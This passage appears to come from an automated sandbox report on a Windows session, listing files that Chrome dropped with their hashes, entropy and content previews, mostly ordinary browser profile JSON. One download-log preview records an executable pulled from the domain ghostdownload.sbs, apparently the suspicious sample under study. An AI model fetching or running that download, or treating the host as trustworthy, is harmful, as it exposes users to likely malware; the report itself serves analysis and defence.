gUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0gJzQxAfL6rdzxi"},"password_
manager":{"os_password_blank":true,"os_password_last_changed":"13245922715627278"},"plugins":{"metadata":{"adobe-flash-player":{"d

C:\Users\user\AppData\Local\Google\Chrome\User Data\5832efec-3ce7-417b-9c47-9d647e7f721f.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 193645

Entropy (8bit): 6.0457440840065875

Encrypted: false

SSDEEP: 3072:YvYef5nSzKWSlyU1ofmG81QcrXlLGF4chBrHWU4lFfSbFcbXafIB0u1GOJmA3iuy:3hzKWygeGkVGFHhk9FfyaqfIlUOoSiuy

MD5: C547ACE7F4BAA5D2A1EF953301640AC8

SHA1: 62EA5BD96E3E1225C9AC861F785024ECEAA90C0A

SHA-256: C6BB6B9E9AF3B487B09FB9ED8172F17D5099421927BCEBA6B68DC16EFF582212

SHA-512: C9A6F8F125EBF84CF9716F0FF56FC14161CF7E7905EBF0D2EAC3DDA0D582948F5E04BD9194F2E37633FCAEC4414F158C209814B2944752F56B24DF790DCCE41E

Malicious: false

Reputation: unknown

Preview:
{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"use
r":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},"network_t
ime":{"network_time_mapping":{"local":1.642107917630884e+12,"network":1.642107919e+12,"ticks":311042665.0,"uncertainty":3996127.0}},"os_crypt":{"encrypted_key":
"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPqIYBIjSlOiL
GeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqps4DvqbPrwR
gUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0gJzQxAfL6rdzxi"},"password_
manager":{"os_password_blank":true,"os_password_last_changed":"13245922715627278"},"plugins":{"metadata":{"adobe-flash-player":{"d

C:\Users\user\AppData\Local\Google\Chrome\User Data\8fe4cc3d-8397-4867-8d2a-7c0b179b0201.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 202018

Entropy (8bit): 6.074088497551142
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Encrypted: false

SSDEEP: 6144:5XhzKWygeGkVGFHhk9FfyaqfIlUOoSiuRs:5RHygeGQGFH4fBoT

MD5: 16D3758D214A14DF040C337F2E517761

SHA1: 0132A3181A2DD671BE9500B79357EE012C3966F9

SHA-256: 2743604A03FD8C104B78801308A097576613E0980FC76D5F030178B4570001C1

SHA-512: C031F53D15945EC91B366081110CCFCAFD6EEBB2ED3C00323055BD51DA34B0F600CE63F559FF27F8C45C564B93B1DE1351EACB0D53EFBADCAAD5BBB0404C1
BA2

Malicious: false

Reputation: unknown

Preview:
{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"use
r":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},"network_t
ime":{"network_time_mapping":{"local":1.642107917630884e+12,"network":1.642107919e+12,"ticks":311042665.0,"uncertainty":3996127.0}},"os_crypt":{"encrypted_key":
"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPqIYBIjSlOiL
GeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqps4DvqbPrwR
gUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0gJzQxAfL6rdzxi"},"password_
manager":{"os_password_blank":true,"os_password_last_changed":"13245922715627278"},"plugins":{"metadata":{"adobe-flash-player":{"d

C:\Users\user\AppData\Local\Google\Chrome\User Data\8fe4cc3d-8397-4867-8d2a-7c0b179b0201.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\9298b178-ab90-43ef-9462-7fc5bf4c8112.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 202018

Entropy (8bit): 6.07408768737562

Encrypted: false

SSDEEP: 6144:9XhzKWygeGkVGFHhk9FfyaqfIlUOoSiuRs:9RHygeGQGFH4fBoT

MD5: 4CA628292F4449E35618C66DE7B2CECA

SHA1: 0FFC9B345CBC2725BD23FFCABBECDB66F43CFA0B

SHA-256: C026C2C7C5C6454C184F1D7E370FD64C5D2439AF01510F69BA7650348CB2B924

SHA-512: 72CA2F6689339C2B720147AACC6323972DAD92AD39002221293D74088CA22875EAEF98F6DB36A181CBE8C18B4D6A63CB2D111366B5E8746820958EA9B32E7986

Malicious: false

Reputation: unknown

Preview:
{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"use
r":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},"network_t
ime":{"network_time_mapping":{"local":1.642107917630884e+12,"network":1.642107919e+12,"ticks":311042665.0,"uncertainty":3996127.0}},"os_crypt":{"encrypted_key":
"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPqIYBIjSlOiL
GeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqps4DvqbPrwR
gUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0gJzQxAfL6rdzxi"},"password_
manager":{"os_password_blank":true,"os_password_last_changed":"13245922715401452"},"plugins":{"metadata":{"adobe-flash-player":{"d

C:\Users\user\AppData\Local\Google\Chrome\User Data\9cd1c604-fa95-4be6-9cee-78d55fad6552.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 101588

Entropy (8bit): 3.7482111212616065

Encrypted: false

SSDEEP: 384:6XF8gIi1Tah+YVNvUrN4rhv0A3LYCzHWxnGAHirdCUYBxi7ILWKe9r5cmtaRSYAQ:Ta+xZIlLv8eH2oiTXUKMK+YYFX

MD5: EAA52360304087C1CD002E4BBBFFCDB8

SHA1: 408804DDF99024095166E916EB92952AA29FBD62

SHA-256: 1AC3E575456B769C6610675B6131E57C252A56097C8C3EC7FD64AA0BF1C6F65A

SHA-512: CA520647EB68386AF33ED0890D9596DCE86457B608726104ECFF1E218906D9C841F1CC407BB717B38B57981E69D33870A804C1589782899AB4D6A035B24804A1

Malicious: false

Reputation: unknown

Preview:
...............*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L..P!...[)...%.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .o.f.f.i.c.e.\.o.f.f.i.c.e.1.6.\.....
..g.r.o.o.v.e.e.x...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .2.0.1.6...*...M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .f.o.r. .B.u.s.i.n.e.s.s. .E.x.t.e.n.s.i.o.n.s.....1.6...0...4.7.1.1...1.0.0.0.....*.
..C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n....P8.D...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.C.o.m.m.o.n. .
F.i.l.e.s.\.M.i.c.r.o.s.o.f.t. .S.h.a.r.e.d.\.O.F.F.I.C.E.1.6.\.m.s.o.s.h.e.x.t...d.l.l..@.....U/...%.c.o.m.m.o.n.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .s.h.a.r.e.d.\.o.f.f.i.c.e.1.6.\.......
m.s.o.s.h.e.x.t...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.)...M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n. .H.a.n.d.l.e.r.s.......1.6...0...4.2.6.6...1.0.0.1.....D...C.:.\.P.r.o.g.r.a.m.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 40

Entropy (8bit): 3.3041625260016576

Encrypted: false

SSDEEP: 3:FkXwgs0oRLn:+taRLn
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MD5: 7AE9008C2AA5ED3E5ED52743E082F5BF

SHA1: CD90099842F51474494BFC490433578A89C1B539

SHA-256: 94E7D9BF431A0E3F0FD02F0FBA7321F43DD8B523E3D32092AFC474D3FD5ABF62

SHA-512: 596E66D10186ADAD552F4CF7E74CD438AD19AF4C30950D2D6EB80E9F9430CA475D12BB79423EC8D15EAF37ABE0AD1DCCAE459C356A00055A82155C24A35C6F
14

Malicious: false

Reputation: unknown

Preview:
sdPC.....................UO..E.D.Q.o....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\000001.dbtmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 16

Entropy (8bit): 3.2743974703476995

Encrypted: false

SSDEEP: 3:1sjgWIV//Uv:1qIFUv

MD5: 46295CAC801E5D4857D09837238A6394

SHA1: 44E0FA1B517DBF802B18FAF0785EEEA6AC51594B

SHA-256: 0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443

SHA-512: 8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23

Malicious: false

Reputation: unknown

Preview:
MANIFEST-000001.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\000002.dbtmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 16

Entropy (8bit): 3.2743974703476995

Encrypted: false

SSDEEP: 3:1sjgWIV//Xv:1qIF/

MD5: 206702161F94C5CD39FADD03F4014D98

SHA1: BD8BFC144FB5326D21BD1531523D9FB50E1B600A

SHA-256: 1005A525006F148C86EFCBFB36C6EAC091B311532448010F70F7DE9A68007167

SHA-512: 0AF09F26941B11991C750D1A2B525C39A8970900E98CBA96FD1B55DBF93FEE79E18B8AAB258F48B4F7BDA40D059629BC7770D84371235CDB1352A4F17F80E145

Malicious: false

Reputation: unknown

Preview:
MANIFEST-000002.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\000003.log
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 13150

Entropy (8bit): 5.636004172139626

Encrypted: false

SSDEEP: 384:bcRBnYcRBvD2B12BvT2BvG2Bv+PBDPBvUPBvCPBv+PBvrPBP2Bvr2BvqBJqBvH1q:benYerm1mrmummZDZ8ZaZGZjZPmzmvqv

MD5: 04501A8760E35311DC8BAB08FF88DDBB

SHA1: 60E2702DFFB9B3554ABC992EED323FB9D2175B50

SHA-256: 585320700D95A8F093FDD1C1F207DD58623875B0ED5745B5EBB473C6CFDB2C98

SHA-512: 3143F54A74D74449F4411283AA37E4867E992FC10B7219C4E9737BFC41F490123003E6DFB211AB6805A5B9554830B54B962DD4BFB2BA5D18243053089F302B46

Malicious: false

Reputation: unknown

Preview:
....................-download,24a6ac3a-afa6-48a8-8e01-86b88cfe1eb0......$24a6ac3a-afa6-48a8-8e01-86b88cfe1eb0..............."...Cblob:https://ghostdownload.sbs/73ec806a-5
b10-44a1-b691-71d26ee73b20..about:client..https://ghostdownload.sbs/"?https://ghostdownload.sbs/file-7564c3328869m00865113607754b653/*.0.B.J.P..$Z.application/x-
msdownloadb.application/x-msdownloadj.........r.........x...................................................4...............-download,24a6ac3a-afa6-48a8-8e01-86b88cfe1eb0......$24a6ac3a-afa6-
48a8-8e01-86b88cfe1eb0..............."...Cblob:https://ghostdownload.sbs/73ec806a-5b10-44a1-b691-71d26ee73b20..about:client..https://ghostdownload.sbs/"?https
://ghostdownload.sbs/file-7564c3328869m00865113607754b653/*.0.B.J.P..$Z.application/x-msdownloadb.application/x-msdownloadjtp...6...C.:.\.U.s.e.r.s.\.j.o.n.e.s.
\.D.o.w.n.l.o.a.d.s.\.U.n.c.o.n.f.i.r.m.e.d. .4.4.8.9.0.8...c.r.d.o.w.n.l.o.a.d.r\X...*...C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.D.o.w.n.l.o.a.d.s.\.D.o.c.3.0.3.8.2.
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C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\0e9e0bf9-41b2-4007-bb78-f90f561dfe22.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 5867

Entropy (8bit): 5.198402711895768

Encrypted: false

SSDEEP: 96:naLhOqb90iLIKID5k0JCKL8sik4kzDbOTlVuHn:naLhT9bINh4Kpik4G

MD5: 2341F0976854900D9BEC2D99A2AD5CB8

SHA1: C6AA98F4E20D4F3D7C45131D9220F7DC867E53A1

SHA-256: 637BBC5114835A5899B7B5FCEC8EA2BB6A544E8C3EFDCF4F4DFF881517419E51

SHA-512: D80EAEB5EED32F1A7C116FFEBED8FA1A4D7A44E1D51734C9A7B17372FA4E848C99C30C89DCD94AE623294AFB70EE69E3A5D241950208C65E3655D9340A306E
F0

Malicious: false

Reputation: unknown

Preview:
{"account_id_migration_state":2,"account_tracker_service_last_update":"13286581516153243","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245924509391818","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"bookmark_bar":{"show_on_al
l_tabs":false},"browser":{"default_browser_infobar_last_declined":"13245924607060180","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_d
efault_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_rig
ht":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0"
,"0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","2042016"],"daily_recei

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\36086231-e218-4a94-b7cd-af41ece97794.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 19184

Entropy (8bit): 5.570534327188286

Encrypted: false

SSDEEP: 384:0J0t2LlleXP1kXqKf/pUZNCgVLH2HfDorU6HG41U64Qd:ILlGP1kXqKf/pUZNCgVLH2HfUrUKGH6X

MD5: FE61F989A7DA7F021EABDC0598DF9086

SHA1: D2C959DA105986421036F2FFB17AA902E7F93859

SHA-256: 924C7A7249B98A96D7E5D959EA9140012187804D68A10DEC83EED426A21D17D2

SHA-512: 8354C737B889F729682D92916A03E28054CC6ED274FB05F68EB708E2E4556162CEB605A8C950391C7630F7EFBB0E2BF0E946A8A5D471E3C00D2A919D20E7918E

Malicious: false

Reputation: unknown

Preview:
{"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","sy
stem.cpu","system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":
[],"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13286581515596918","location":5,"manifest":{"a
pp":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and 
themes for Google Chrome.","icons":{"128":"webstore_icon_128.png","16":"webstore_icon_16.png"},"key":"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCt
l3tO0osjuzRsf6xtD2SKxPlTfuoy7AWoObysitBPvH5fE1NaAA1/2JkPWkVDhdLBWLaIBPYeXbzlHp3y4Vv/4XG+aN5qFE3z+1RU/NqkzVYHtIpVScf3DjTYtKVL66mzVG
ijSoAIwbFCC3LpGdaoe6Q1rSRDp76wR6jjFzsYwQIDAQAB","name":"Web Store","pe

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\45b63f6d-7b31-490f-bed7-606da1a5637a.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 5840

Entropy (8bit): 5.1898350726250255

Encrypted: false

SSDEEP: 96:naLhOBb90iLIKID5k0JCKL8sjkTEMbOTlVuHn:naLhq9bINh4KpjkTx

MD5: 45CBDCA88BA89D74587CA430ED3B2D7D

SHA1: 2C4749C4F5560B4AB0A4B54C09E0D3856A353BE8

SHA-256: A53E4E4595F9E1656A88067E30A1DC5A658BB4A33B55929514F8181318BF30F0

SHA-512: 3BA3D4CF3125AEFF3D0ADE170583DDB7114BAA9F1F712629A888E51119C46E0D96A9C5BFFBA5C956E456D44103B38A640C362FB57477355F0E51BE3DA66C7B1
6

Malicious: false

Reputation: unknown

Preview:
{"account_id_migration_state":2,"account_tracker_service_last_update":"13286581516153243","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245924509391818","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"bookmark_bar":{"show_on_al
l_tabs":false},"browser":{"default_browser_infobar_last_declined":"13245924607060180","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_d
efault_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_rig
ht":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0"
,"0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","2042016"],"daily_recei

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\4ff6b2d6-59db-4622-8fea-0a05319fba93.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe
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File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 17092

Entropy (8bit): 5.582970998362241

Encrypted: false

SSDEEP: 384:0J0t2LlleXP1kXqKf/pUZNCgVLH2HfDorUR1f64cD:ILlGP1kXqKf/pUZNCgVLH2HfUrUz6F

MD5: 4F69A4C9C2C1E6227FC66707BBBB14AE

SHA1: 92B4C106FBB1F15D11057EFAB98B8ED7BC0074D5

SHA-256: 3C6C42403CB68E145720C004A3C2B4958B0623BC16D21D35120FCB8A4CAA0AF7

SHA-512: 8422A67A293043BDD56EAD05463715DC7C6F8832FB0C1C3E0A6BE127A9DA8448FBA0246713D543652E79CD75F0518DE4A2CC9A2E6AE66921DBCC5D844B096F2
5

Malicious: false

Reputation: unknown

Preview:
{"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","sy
stem.cpu","system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":
[],"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13286581515596918","location":5,"manifest":{"a
pp":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and 
themes for Google Chrome.","icons":{"128":"webstore_icon_128.png","16":"webstore_icon_16.png"},"key":"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCt
l3tO0osjuzRsf6xtD2SKxPlTfuoy7AWoObysitBPvH5fE1NaAA1/2JkPWkVDhdLBWLaIBPYeXbzlHp3y4Vv/4XG+aN5qFE3z+1RU/NqkzVYHtIpVScf3DjTYtKVL66mzVG
ijSoAIwbFCC3LpGdaoe6Q1rSRDp76wR6jjFzsYwQIDAQAB","name":"Web Store","pe

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\4ff6b2d6-59db-4622-8fea-0a05319fba93.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\5402d790-86db-46c5-a065-0e51bfcf2054.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 3473

Entropy (8bit): 4.884897250513757

Encrypted: false

SSDEEP: 96:6FGX0G70GhIGpyGzRDYLiEHYDBKGzUGaCGjHGESHG/OG6mhd:6Fe0i0sIIyGzRDYLiEHYDBKSUpCQHrSa

MD5: A1CDBC88F8B4CC8D10212775766B42CF

SHA1: 895505AE442DC20942D1D7A5094B01E3DCE208F4

SHA-256: AFB41143BF853D6784565FA685200B22EC79DFE2A846E8C774C1D4CBD5A9C82D

SHA-512: E12E2260702115347A053A6A323732901D440C5D391041AFD7920FCEF6AC53BF2C6376E0651F4A6BBB2A6F8DFED7C56BAD8EA7131C85A8B5B676C9CAA71F1D2
F

Malicious: false

Reputation: unknown

Preview:
{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[],"expiration":"13248516607497410","port":443,"protocol_str":"quic"}],"isolation":
[],"network_stats":{"srtt":27387},"server":"https://www.gstatic.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"1324851660
7334226","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":34287},"server":"https://ssl.gstatic.com","supports_spdy":true},{"alternative_service":[{"adverti
sed_versions":[],"expiration":"13248516607463627","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":31787},"server":"https://fonts.gstatic.com","s
upports_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"13248516607318875","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{
"srtt":23359},"server":"https://apis.google.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"13248

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\862df0c6-cb9a-43fe-9feb-bfc72cce2bb3.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:L:L

MD5: 5058F1AF8388633F609CADB75A75DC9D

SHA1: 3A52CE780950D4D969792A2559CD519D7EE8C727

SHA-256: CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8

SHA-512: 0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25
F21

Malicious: false

Reputation: unknown

Preview:
.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\8a5a27a7-65a7-4ec2-bc57-1adc19da721b.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 1824

Entropy (8bit): 4.855103069490695
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Encrypted: false

SSDEEP: 48:Y2nzM3qK6qDHGXCtwWskQRLsE5sOyKs1MHNYhbw:JnzMaKxDHGXCOpjF4GqhM

MD5: 3513A8ECC8F01959AF94C900E847CE45

SHA1: C5C149B313FF9EF2E6C43F8F517BC069ADA59C12

SHA-256: E1A49EA84EC4E1783257C454BE65693D2A4DD0EFC9B04C0872EBBD41361AED1E

SHA-512: 07444B7222A53C932C08A55CE4DFA0CC2FA44E8C1986272F92EE18141F4E78A291125675853AD67DC6CA8091970D254B65C2A072A4FC0F1D7E7A00E90E06AE0F

Malicious: false

Reputation: unknown

Preview:
{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://www.google.com","supports_spdy":true},{"isolation":[],"server":"https://dns.google","suppor
ts_spdy":true},{"isolation":[],"server":"https://www.googleapis.com","supports_spdy":true},{"isolation":[],"server":"https://redirector.gvt1.com","supports_spdy":true},{"
isolation":[],"server":"https://fonts.googleapis.com","supports_spdy":true},{"isolation":[],"server":"https://ogs.google.com","supports_spdy":true},{"isolation":[],"server":"https:
//play.google.com","supports_spdy":true},{"isolation":[],"server":"https://apis.google.com","supports_spdy":true},{"isolation":[],"server":"https://fonts.gstatic.com","su
pports_spdy":true},{"isolation":[],"server":"https://ssl.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://www.gstatic.com","supports_spdy":true},{"alt
ernative_service":[{"advertised_versions":[50],"expiration":"13289173517862649","port":443,"protocol_str":"quic"}],"isolation":[],"server":"

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\8a5a27a7-65a7-4ec2-bc57-1adc19da721b.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\9662c17b-029b-479c-9421-851b5c5b03a6.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 22602

Entropy (8bit): 5.536204930835118

Encrypted: false

SSDEEP: 384:0J0t2LlleXP1kXqKf/pUZNCgVLH2HfDorU6HGwnZP1J64W:ILlGP1kXqKf/pUZNCgVLH2HfUrUKGwni

MD5: D099FEA6646927434CF718EDD4A19E4F

SHA1: 8383BC2194BC11281D0C65C6ADC98FCFFD48899D

SHA-256: 784068565C30C4B9286AEBC257B24FEF82129DD7ABA79B3B7A458CCCCAD0A60C

SHA-512: DD54E57C808678A91C293C6FADEA7A4F7BE2A59BBBAA97F003E9012456E0B399F6D9F59BAC81B08A79845485ABF5978136BD6A335CDDC8AEFD5C0D02F4213C
93

Malicious: false

Reputation: unknown

Preview:
{"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","sy
stem.cpu","system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":
[],"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13286581515596918","location":5,"manifest":{"a
pp":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and 
themes for Google Chrome.","icons":{"128":"webstore_icon_128.png","16":"webstore_icon_16.png"},"key":"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCt
l3tO0osjuzRsf6xtD2SKxPlTfuoy7AWoObysitBPvH5fE1NaAA1/2JkPWkVDhdLBWLaIBPYeXbzlHp3y4Vv/4XG+aN5qFE3z+1RU/NqkzVYHtIpVScf3DjTYtKVL66mzVG
ijSoAIwbFCC3LpGdaoe6Q1rSRDp76wR6jjFzsYwQIDAQAB","name":"Web Store","pe

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\969ba356-cf18-4118-99de-8d00a405205d.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 5274

Entropy (8bit): 4.9726395506050824

Encrypted: false

SSDEEP: 96:naLhOib9pIKID5k0JCKL8sykpG7bOTlVuHn:naLhV9pINh4Kpykp4

MD5: C802CF17AE77920267E085E0BE4851C1

SHA1: 5B0394726327EF24B77214FA6094BE0693AF60B7

SHA-256: 8118C1D1ABD94F1C4B7AB61DDF50835D4CADF5049B1A2DEC126F97EEF66C29EA

SHA-512: 720844AF20897CD61E19C86EED3B854DAF59CC290746B4DFCBFE24FAFFE661E8487A875EE333BC46EE22ABE1294E656BF5253DD9221D3BDC31F6FDD9806D9D
81

Malicious: false

Reputation: unknown

Preview:
{"account_id_migration_state":2,"account_tracker_service_last_update":"13286581516153243","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245924509391818","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"bookmark_bar":{"show_on_al
